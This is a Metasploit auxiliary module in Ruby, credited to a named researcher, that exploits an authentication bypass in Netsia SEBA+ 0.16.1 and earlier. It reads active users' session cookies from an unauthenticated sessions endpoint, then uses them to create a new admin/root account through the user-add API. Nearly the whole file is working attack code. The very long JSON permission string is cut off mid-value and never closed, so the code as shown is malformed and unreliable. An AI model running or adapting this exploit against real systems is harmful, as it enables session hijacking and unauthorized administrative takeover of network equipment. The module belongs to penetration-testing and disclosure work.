##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Netsia SEBA+ <= 0.16.1 Authentication Bypass and Add Root User' ,
      'Description'    => %q{
        This module exploits an authentication bypass in Netsia SEBA+, triggered by add new root/admin user.
        HTTP requests made to the "Active Sessions" section which can be accessed by root/admin user, 
        can be performed without the need for any session(cookie) information. 
        Therefore, the session cookie informations of the active users in the application can be read from the response content.
        A new authorized user can be created with the obtained cookie.
      },
      'References'     =>
        [
          [ 'CVE', '' ],
          [ 'URL', 'https://www.pentest.com.tr/exploits/Netsia-SEBA-0-16-1-Authentication-Bypass-Add-Root-User-Metasploit.html' ],
          [ 'URL', 'https://www.netsia.com' ]
        ],
      'Author'         =>
        [
          'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "2021-01-06",
      'DefaultOptions' => { 'SSL' => true }
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username for your new account']),
        OptString.new('PASSWORD', [true, 'The password for your new account', Rex::Text.rand_text_alphanumeric(14)])
      ])
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def check
    begin
    res = send_request_cgi(
          'method'  => 'GET',
          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
          )

    rescue
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 and res.body.include? 'sessionId'   
      return Exploit::CheckCode::Vulnerable
    else 
       if res.code == 200 and res.body.include? 'SUCCESS'
         print_status("Target is vulnerable! But active admin session was not found. Try again later.")
         return Exploit::CheckCode::Appears
       end
    end

    return Exploit::CheckCode::Safe
  end

  def count_user(data, find_string)
    data.scan(/(?=#{find_string})/).count
  end

  def run
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    res = send_request_cgi(
          'method'  => 'GET',
          'uri' => normalize_uri(target_uri.path, "session", "list", "allActiveSession"),
          )
    sescount = count_user(res.body,'"name"')
    print_good("Currently #{sescount} active sessions have been detected.")

    cookies = res.body.scan(/sessionId":"([\S\s]*?)","action/)
    puts cookies
    $i = 0

    while $i <= sescount  do
       sessloop = cookies[$i]
       sessid = "SESSION=" + sessloop.to_s
       cookie = sessid.split('"]').join('').split('["').join('')
       $i +=1
       json_data='{"data": {"password": "' + datastore["PASSWORD"] + '", "roles": [{"locations": [], "name": "admin", "permList": [{"data": ["/alarm-manager/alarm/definition/list", "/alarm-manager/alarm/active/list", "/alarm-manager/alarm/active/get", "/alarm-manager/alarm/log/list", "/alarm-manager/alarm/log/search"], "perm_key": "alarm:view"}, {"data": ["/sepon-core/profile/get/service", "/sepon-core/profile/list/service"], "perm_key": "services:view"}, {"data": ["/sepon-core/node/list/edge-ext"], "perm_key": "edge-ext:view"}, {"data": ["/sepon-core/ui/config/get", "/sepon-core/ui/config/list"], "perm_key": "uiconfig:view"}, {"data": ["/pal/switchinfo/list"], "perm_key": "switch:view"}, {"data": ["/asup/bbsl"], "perm_key": "asup:bbsl"}, {"data": ["/sepon-core/node/list", "/sepon-core/node/get"], "perm_key": "location:view"}, {"data": ["/pal/olt/get", "/pal/olt/nniport", "/pal/olt/ponport", "/pal/inventory/olt-list", "/sepon-core/node/list/olt", "/pal/laginfo/get"], "perm_key": "olt:view"}, {"data": ["/bbsl*/olt/reboot"], "perm_key": "olt:reboot"}, {"data": ["/sepon-core/node/delete"], "perm_key": "edge:delete"}, {"data": ["/user/add"], "perm_key": "default"}, {"data": ["/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/provision", "/bbsl*/subscriber/preprovision", "/bbsl*/subscriber/provision-subscriber", "/bbsl*/subscriber/change-speed-profile", "/bbsl*/subscriber/continue-provision-with-service-definition", "/bbsl*/subscriber/delete-service", "/bbsl*/subscriber/delete-services", "/bbsl*/subscriber/provision-service", "/bbsl*/subscriber/update-service-subscription"], "perm_key": "subscriptions:edit"}, {"data": ["/authentication-server/user/add", "/authentication-server/user/update"], "perm_key": "user:edit"}, {"data": ["/home/dashboard", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:edit"}, {"data": ["/sepon-core/node/delete/force"], "perm_key": "edge:forcedelete"}, {"data": ["/sepon-core/profile/delete/service"], "perm_key": "services:delete"}, {"data": ["/bbsl*/onu/provision-onu", "/bbsl*/onu/undo-provision", "/sepon-core/node/update", "/bbsl*/onu/delete-onu", "/bbsl*/onu/provision-onu", "/bbsl*/onu/update-serial", "/bbsl*/onu/onu-power"], "perm_key": "onu:edit"}, {"data": ["/alarm-manager/response-code"], "perm_key": "alarm:response-code"}, {"data": ["/authentication-server/request/list", "/authentication-server/request/search", "/authentication-server/request/count"], "perm_key": "request_history:view"}, {"data": ["/sepon-core/profile/add/service"], "perm_key": "services:edit"}, {"data": ["/authentication-server/user/delete"], "perm_key": "user:delete"}, {"data": ["/pal/speedprofile/delete", "/sepon-core/profile/delete/speed"], "perm_key": "speed_profiles:delete"}, {"data": ["/sepon-core/profile/sync/security", "/sepon-core/profile/add/sync/security", "/sepon-core/profile/delete/sync/security", "/sepon-core/profile/get/sync/security", "/sepon-core/profile/list/sync/security", "/sepon-core/profile/list/sync/security/by-profile-id", "/sepon-core/profile/list/sync/security/by-edge-id"], "perm_key": "security_profiles:sync"}, {"data": ["/home/dashboard", "/prometheus", "/sepon-core/ui/config/get", "/sepon-core/ui/config/list", "/sepon-core/ui/config/delete", "/sepon-core/ui/config/update"], "perm_key": "dashboard:perf-query"}, {"data": ["/authentication-server/user/list", "/authentication-server/user/get"], "perm_key": "user:view"}, {"data": ["/bbsl*/onu/reboot"], "perm_key": "onu:reboot"}, {"data": ["/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-serial", "/pal/subscriber/service-subscription", "/pal/subscriber/onu-list-service-location", "/pal/subscriber/uni-list-service-location", "/pal/subscriber/uni-list-service-serial", "/pal/subscriber/uni-service-info-location", "/pal/subscriber/uni-service-info-onu-serial-uni-no-service-name", "/pal/subsc

       res = send_request_raw({
                     'method' => 'POST',
                    'ctype'  => 'application/json',
                     'uri' => normalize_uri(target_uri.path, 'authentication-server', 'user', 'add'),
                                 'cookie' => cookie,
                                 'data' => json_data
                    })

       if res.code == 200 and res.body.include? '"SUCCESS"'   
         print_good("Excellent! User #{datastore["USERNAME"]} was added successfully with root, admin and default privileges.")
         print_good("Username : #{datastore["USERNAME"]}")
         print_good("Password : #{datastore["PASSWORD"]}")
         break
       end 
     end
  end
end